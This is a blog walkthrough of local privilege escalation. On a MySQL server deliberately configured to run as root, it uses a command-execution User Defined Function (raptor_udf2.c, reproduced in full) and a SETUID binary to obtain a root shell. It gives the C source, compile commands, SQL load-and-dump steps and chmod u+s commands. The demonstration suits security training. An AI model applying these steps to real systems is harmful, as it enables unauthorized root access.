Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries

Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries

Walkthrough on solving the Narnia series from the wargame site, OverTheWire

In this post, I will be demonstrating how a MySQL User Defined Function (UDF) and a SETUID binary can be used to elevate user privilege to a root shell. For this demonstration I will be using the following:

Underlining Concept of the Privilege Escalation

A User Defined Function (UDF) is a function created by the user to extend the normal functionality of the program. In the database server, the UDF can be evaluated in a SQL statement. In 2004 Marco Ivaldi created a UDF, known as raptor_udf.c, for MySQL which would allow system commands to be executed in the same context of the database process.

The system command passed to the UDF will be executed in the context of current permissions for the database. This means if the database was running as the MySQL user, the command would be executed with the MySQL user permissions. By default, the MySQL database will be running as the MySQL user but for this demonstration the database will be (mis)configured to run with root privileges.

To do this, the following steps need to be taken:

  1. Turn off the MySQL service.
  2. Run the command on the datadir for the MySQL service (default is /var/lib/mysql).
    • chown -R root:root /path/to/datadir
  3. Change the line “user=mysql” to “user=root” in the file /etc/my.cnf.
  4. Turn on the MySQL service.

The MySQL service has now been configured to run as root.

The process of the creating the UDF is broken down into these steps:

  1. Identifying the location that the plugin_dir variable in MySQL, this is where MySQL will look for the shared object file for the UDF.
  2. Compile an object file using the raptor_udf2.c source code.
  3. Using the compiled object file to create a shared library and linking the shared library.
  4. Create a new table in the MySQL database and insert the contents of the shared object file created into the table.
  5. Write the contents of the new MySQL table into directory specified by the plugin_dir variable.
  6. Create the function in the MySQL database.

To identified the value for the plugin_dir variable in MySQL, the query “show variables like ‘plugin_dir’;”.

Determining the path to plugin directory in MySQL.

This MySQL database does not have a defined location in the value for the variable and therefore, MySQL will use the behaviour that was used before version 5.0.67, (version in use in the demonstration is 5.0.95). This means the UDF object files must be located in the directory that is searched by the system’s dynamic linker (‘/usr/lib/’).

Gaining Command Execution

As the name of this section suggests, this will focus on creating the UDF which will be able to take a system command, as part of a query, and have the database process and execute the command. Looking at pentestmonkey’s http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet post there is a reference to command execution, which mentions the raptor_udf.c code. Looking at the author’s http://0xdeadbeef.info/, there are two versions of the UDF code, for this demonstration the second version, http://0xdeadbeef.info/exploits/raptor_udf2.c, will be used.

#include <stdio.h>
#include <stdlib.h>
 
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
 
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
 
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
 
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
 
system(args->args[0]);
 
return(0);
}
 
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}

Using the raptor_udf2.c source code a shared object needs to be compiled, this will be done using the gcc compiler. This is done in a two step process; first compiling a ELF binary, then from that compiled ELF binary, a shared object is created. The two steps needed to be taken are:

gcc -g -c raptor_udf2.c
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Compiling the shared library file.

After the files have been compiled, the next stage is creating the function in the MySQL database. The procedure for this task is the following:

  1. Access the database service and select the database to use.
    mysql -u root
    use mysql;
    
  2. Copy/create the raptor_udf2.so in the directory specified in the plugin_dir variable.
    create table foo(line blob);
    insert into foo values(load_file(‘/home/raptor/raptor_udf2.so’));
    select * from foo into dumpfile ‘/usr/lib/raptor_udf2.so’;
    
  3. Create the User Defined Function.
    create function do_system returns integer soname ‘raptor_udf2.so’;
    select * from mysql.func;
    
  4. Test that the UDF works correctly.
    select do_system(‘id > /tmp/out; chown centos.centos /tmp/out’);
    \! sh
    cat /tmp/out
    

NOTE: Because of permissions, a non-root user should not be able to copy/move the shared library file to the /usr/lib directory. This is why the MySQL service was used to perform the action.

Part 1 – The system command UDF being created in the MySQL database.

Part 2 – The system command UDF being created in the MySQL database.

Escalating to a root shell

For the final section, the UDF that allows for commands to be executed as root will be used to gain access to a root shell from a non-root user. This will be done using a SETUID binary that accesses the /bin/sh binary. A SETUID binary is a binary that allows users to execute the binary with the permissions of the executables owner.

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}

Then using the UDF to compile the SETUID binary and then setting the root permissions for the file, and once that is done executing the binary:

select do_system(‘gcc -o /tmp/setuid /home/centos/setuid.c’);
select do_system(‘chmod u+s /tmp/setuid’);
\! sh
/tmp/setuid

Compiling the SETUID binary, setting the file permissions and then executing the binary gaining the root shell.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6